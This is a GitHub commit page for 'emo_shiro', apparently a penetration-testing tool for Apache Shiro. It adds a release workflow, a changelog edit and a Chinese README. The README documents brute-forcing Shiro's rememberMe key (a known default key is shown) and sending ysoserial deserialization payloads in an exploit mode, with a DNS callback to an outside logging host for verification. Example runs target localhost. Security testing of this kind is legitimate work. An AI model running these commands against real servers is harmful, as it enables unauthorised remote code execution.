Skip to content

Commit 6c6b982

Browse files
committed
doc
1 parent b465edb commit 6c6b982

File tree

3 files changed

+222
-2
lines changed

3 files changed

+222
-2
lines changed

.github/workflows/post-release.yml

Lines changed: 158 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,158 @@
1+
# The way this works is the following:
2+
#
3+
# The create-release job runs purely to initialize the GitHub release itself
4+
# and to output upload_url for the following job.
5+
#
6+
# The build-release job runs only once create-release is finished. It gets the
7+
# release upload URL from create-release job outputs, then builds the release
8+
# executables for each supported platform and attaches them as release assets
9+
# to the previously created release.
10+
#
11+
# The key here is that we create the release only once.
12+
#
13+
# Reference:
14+
# https://eugene-babichenko.github.io/blog/2020/05/09/github-actions-cross-platform-auto-releases/
15+
16+
name: post-release
17+
on:
18+
push:
19+
tags:
20+
- "v*"
21+
22+
env:
23+
BIN_NAME: emo_shiro
24+
jobs:
25+
create-release:
26+
name: emo_shiro
27+
runs-on: ubuntu-latest
28+
outputs:
29+
upload_url: ${{ steps.release.outputs.upload_url }}
30+
release_version: ${{ env.RELEASE_VERSION }}
31+
steps:
32+
- name: Get the release version from the tag
33+
shell: bash
34+
if: env.RELEASE_VERSION == ''
35+
run: |
36+
# See: https://github.community/t5/GitHub-Actions/How-to-get-just-the-tag-name/m-p/32167/highlight/true#M1027
37+
echo "RELEASE_VERSION=${GITHUB_REF#refs/tags/}" >> $GITHUB_ENV
38+
echo "version is: ${{ env.RELEASE_VERSION }}"
39+
- name: Checkout repository
40+
uses: actions/checkout@v2
41+
with:
42+
fetch-depth: 1
43+
- name: Generate Release Notes
44+
run: |
45+
python3 .github/workflows/release-notes.py --tag ${{ env.RELEASE_VERSION }} --output notes-${{ env.RELEASE_VERSION }}.md
46+
cat notes-${{ env.RELEASE_VERSION }}.md
47+
- name: Create GitHub release
48+
id: release
49+
uses: actions/create-release@v1
50+
env:
51+
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
52+
with:
53+
tag_name: ${{ env.RELEASE_VERSION }}
54+
release_name: ${{ env.RELEASE_VERSION }}
55+
body_path: notes-${{ env.RELEASE_VERSION }}.md
56+
build-release:
57+
name: build-release
58+
needs: create-release
59+
strategy:
60+
fail-fast: false
61+
matrix:
62+
build: [ linux, macos, macos_m1, win-msvc ]
63+
include:
64+
- build: linux
65+
os: ubuntu-latest
66+
rust: stable
67+
target: x86_64-unknown-linux-musl
68+
file: emo_shiro_amd64
69+
- build: macos
70+
os: macos-latest
71+
rust: stable
72+
target: x86_64-apple-darwin
73+
file: emo_shiro_darwin
74+
- build: macos_m1
75+
os: macos-latest
76+
rust: stable
77+
target: aarch64-apple-darwin
78+
file: emo_shiro_aarch64_darwin
79+
- build: win-msvc
80+
os: windows-latest
81+
rust: stable
82+
target: i686-pc-windows-msvc
83+
file: emo_shiro.exe
84+
runs-on: ${{ matrix.os }}
85+
steps:
86+
- name: Checkout repository
87+
uses: actions/checkout@v2
88+
with:
89+
fetch-depth: 1
90+
- name: Cache
91+
uses: Swatinem/rust-cache@v1
92+
- name: Install packages (Ubuntu)
93+
if: matrix.os == 'ubuntu-latest'
94+
run: |
95+
sudo apt-get update
96+
sudo apt-get install -y --no-install-recommends xz-utils liblz4-tool libssl-dev musl-tools pkg-config
97+
sed -i -e "s/^version = .*/version = \"`date +'%-Y.%-m.%-d'`\"/" Cargo.toml
98+
- name: Install packages (Windows)
99+
if: matrix.os == 'windows-latest'
100+
shell: bash
101+
run: |
102+
choco install llvm openssl
103+
export CARGO_PKG_VERSION=`date +'%-Y.%-m.%-d'`
104+
sed -i -e "s/^version = .*/version = \"`date +'%-Y.%-m.%-d'`\"/" Cargo.toml
105+
echo "CARGO_PKG_VERSION=`date +'%Y.%m.%d'`" >>$GITHUB_ENV
106+
echo "OPENSSL_DIR=C:\Program Files\OpenSSL-Win64" >>$GITHUB_ENV
107+
echo "RUSTFLAGS=-C target-feature=+crt-static" >>$GITHUB_ENV
108+
- name: Install packages (Macos)
109+
if: matrix.os == 'macos-latest'
110+
run: |
111+
sed -i -e "s/^version = .*/version = \"`date +'%-Y.%-m.%-d'`\"/" Cargo.toml
112+
- name: Install Rust
113+
uses: actions-rs/toolchain@v1
114+
with:
115+
toolchain: ${{ matrix.rust }}
116+
profile: minimal
117+
override: true
118+
target: ${{ matrix.target }}
119+
- name: Build release binary
120+
run: cargo build --target ${{ matrix.target }} --verbose --release
121+
- name: Build archive
122+
shell: bash
123+
run: |
124+
staging="${{ env.BIN_NAME }}_${{ needs.create-release.outputs.release_version }}_${{ matrix.target }}"
125+
mkdir -p "$staging"
126+
cp {README.md,LICENSE} "$staging/"
127+
if [ "${{ matrix.os }}" = "windows-latest" ]; then
128+
bin_file="target/${{ matrix.target }}/release/${{ env.BIN_NAME }}.exe"
129+
cp "$bin_file" "$staging/"
130+
cd "$staging"
131+
7z a "../$staging.zip" .
132+
echo "ASSET=$staging.zip" >> $GITHUB_ENV
133+
echo "BIN_FILE=$bin_file" >> $GITHUB_ENV
134+
else
135+
bin_file="target/${{ matrix.target }}/release/${{ env.BIN_NAME }}"
136+
strip "$bin_file"
137+
cp "$bin_file" "$staging/"
138+
tar czf "$staging.tar.gz" -C "$staging" ${{ env.BIN_NAME }} README.md LICENSE
139+
echo "ASSET=$staging.tar.gz" >> $GITHUB_ENV
140+
echo "BIN_FILE=$bin_file" >> $GITHUB_ENV
141+
fi
142+
- name: Upload release archive
143+
uses: actions/[email protected]
144+
env:
145+
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
146+
with:
147+
upload_url: ${{ needs.create-release.outputs.upload_url }}
148+
asset_path: ${{ env.ASSET }}
149+
asset_name: ${{ env.ASSET }}
150+
asset_content_type: application/octet-stream
151+
- name: Upload binary to release
152+
uses: svenstaro/upload-release-action@v1-release
153+
with:
154+
repo_token: ${{ secrets.GITHUB_TOKEN }}
155+
file: ${{ env.BIN_FILE }}
156+
asset_name: ${{ matrix.file }}
157+
tag: default
158+
overwrite: true

CHANGELOG.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -4,8 +4,8 @@
44

55
## [Unreleased] - ReleaseDate
66

7-
## [2022.10.10] - 2022.10.10
7+
## [2022.10.10] - 2022.12.21
88

99
### Fixes
1010

11-
- Fix Bug
11+
- 更新命令行解析库为argh

README.md

Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
## 使用方法
2+
3+
```bash
4+
~ ./emo_shiro --help
5+
Usage: emo_shiro [--key <key>] [-m <mode>] [-t <target>] [-s <ser>] [--file <file>] [--keys <keys>] [--csv <csv>] [--proxy <proxy>] [--timeout <timeout>] [--thread <thread>] [--exploit] [--dns <dns>]
6+
7+
emo_shiro
8+
9+
Options:
10+
--key you can specify known keys
11+
-m, --mode apache-shiro encryption algorithm,default: CBC
12+
-t, --target the target
13+
-s, --ser serialize file
14+
--file read the target from the file
15+
--keys read the key from the file
16+
--csv export to the csv file
17+
--proxy proxy to use for requests
18+
(ex:[http(s)|socks5(h)]://host:port)
19+
--timeout set request timeout
20+
--thread number of concurrent threads
21+
--exploit exploit mode
22+
--dns dns identifier, default: 981tzg.ceye.io
23+
--help display usage information
24+
25+
```
26+
27+
## 详细参数
28+
29+
- `--key`指定Key,默认`kPH+bIxk5D2deZiIxcaaaA==`
30+
- `-m`指定加密模式,默认`CBC`,可选:`GCM`
31+
- `-t`单个目标
32+
- `-s`读入ysoserial生成的文件作为payload
33+
- `--file`从文件读入目标
34+
- `--keys`从文件读入key
35+
- `--csv`导出到csv文件
36+
- `--exploit`利用模式,爆破出key后,如果开启exploit模式会读入ysoserial生成的文件作为payload,如果`--ser`
37+
参数为空,则为`--dns`作为URL_DNS的参数生成payload
38+
- `--dns`验证的DNS服务器,请求为目标的`主机名_端口.你的DNS记录服务器`,默认为`981tzg.ceye.io`
39+
40+
## 使用ysoserial文件
41+
42+
```bash
43+
➜ emo_shiro git:(main) ✗ cargo run -- -t http://127.0.0.1:8080 --exploit --ser /home/kali-team/1.ser
44+
+-------------------------------------------------------------------------+--------+--------+------+--------------------------+
45+
| url | method | verify | mode | key |
46+
+=========================================================================+========+========+======+==========================+
47+
| http://127.0.0.1:8080/login;jsessionid=EAEAD8C3FA8884D816F575E55B654694 | GET | true | CBC | kPH+bIxk5D2deZiIxcaaaA== |
48+
+-------------------------------------------------------------------------+--------+--------+------+--------------------------+
49+
50+
```
51+
52+
## 使用DNS记录验证漏洞
53+
54+
```bash
55+
➜ emo_shiro git:(main) ✗ cargo run -- -t http://127.0.0.1:8080 --exploit --dns 981tzg.ceye.io
56+
+-------------------------------------------------------------------------+--------+--------+------+--------------------------+
57+
| url | method | verify | mode | key |
58+
+=========================================================================+========+========+======+==========================+
59+
| http://127.0.0.1:8080/login;jsessionid=E01994D45911DE55FCE6606CFFF48AC7 | GET | true | CBC | kPH+bIxk5D2deZiIxcaaaA== |
60+
+-------------------------------------------------------------------------+--------+--------+------+--------------------------+
61+
62+
```

0 commit comments

Comments
 (0)